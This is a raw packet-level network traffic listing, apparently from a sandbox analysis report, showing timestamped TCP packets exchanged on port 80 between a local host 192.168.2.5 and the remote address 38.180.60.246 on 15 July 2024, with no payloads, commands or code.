Jul 15, 2024 00:48:21.963434935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963452101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963809013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963819027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963828087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963849068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963855982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963861942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963872910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963882923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963886023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.963902950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.963922024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964566946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964577913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964590073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964601040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964612961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964617014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964622974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964634895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964644909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964646101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964656115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964669943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964670897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964682102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964684963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964693069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964704037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964704037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964715004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.964735031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.964761972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.965681076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965725899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.965817928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965828896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965856075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.965872049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.965929031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965939045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965950012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965961933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.965967894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.965996027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.966140032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966150999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966162920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966173887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966176033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.966185093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966207981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.966234922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.966515064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966526985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.966555119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.966573000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968626022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968691111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968764067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968780041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968792915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968803883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968815088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968815088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968827009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968844891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968863010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968900919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968911886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968924046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968934059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968934059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968945980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968952894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968957901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968967915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968978882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968980074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.968990088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.968997002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.969014883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051376104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051399946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051414967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051520109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051548004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051553965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051569939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051582098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051592112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051595926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051609993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051611900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051634073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051666975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051942110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051954031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051965952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051980019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.051991940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.051992893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052005053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052016973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052022934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052031040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052042961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052063942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052630901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052643061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052654028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052669048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052680969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052680969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052695036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052702904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052709103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052720070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052723885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052737951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052752018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052752972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052767992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052778959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052781105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.052799940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.052817106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053544998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053558111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053569078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053584099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053591967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053596973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053610086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053621054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053623915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053633928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053639889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053647041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053658009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053658009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053670883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053684950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.053689957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.053723097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054132938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054146051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054160118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054172039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054177999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054186106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054198980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054213047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054213047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054249048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054719925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054730892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054742098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054755926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054768085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054771900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054780960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054792881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054794073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054806948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054811954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054819107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054831028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054831028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054842949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054855108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054862976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054868937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.054889917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.054907084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055686951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055699110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055711031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055723906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055730104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055737019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055748940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055749893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055761099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055773973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055778980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055783987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055795908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055799007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055808067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055820942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055821896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055835009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055849075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.055860043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055860043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.055881977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056655884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056668997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056680918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056695938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056709051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056710005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056720018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056723118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056735039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056746960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056754112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056763887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056780100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.056783915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056802034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.056830883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057374954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057388067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057403088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057423115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057449102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057600021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057611942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057646990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057651043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057657957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057672024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057682991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057712078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057820082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057835102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057867050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057908058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057919025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057929993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.057951927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.057970047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.058042049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.058089018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059525013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059575081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059595108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059609890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059638977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059654951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059655905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059667110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059679985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059691906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059705019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059726954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059812069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059823036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059834957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059851885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059858084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059864044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059876919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059878111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059890985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.059909105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.059932947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.141769886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.141793013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.141804934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.141931057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142056942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142069101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142079115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142090082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142097950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142106056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142136097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142251015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142262936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142307043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142376900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142388105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142432928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142606020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142616987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142627954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142637968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142648935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.142656088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142676115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.142693043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143043041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143054008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143063068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143074036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143084049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143090963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143095970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143106937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143115997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143120050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143126965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143136978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143138885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143148899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143158913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.143161058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143188000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.143205881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144120932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144130945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144141912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144151926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144161940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144171000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144174099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144195080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144201994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144205093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144216061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144227028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144237041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144237995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144249916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144251108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144279003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144299984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144736052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144746065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144756079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144767046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144778013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144788027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144788027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144798994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144809008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144814968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.144820929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.144831896 CEST	80	49704	38.180.60.246	192.168.2.5
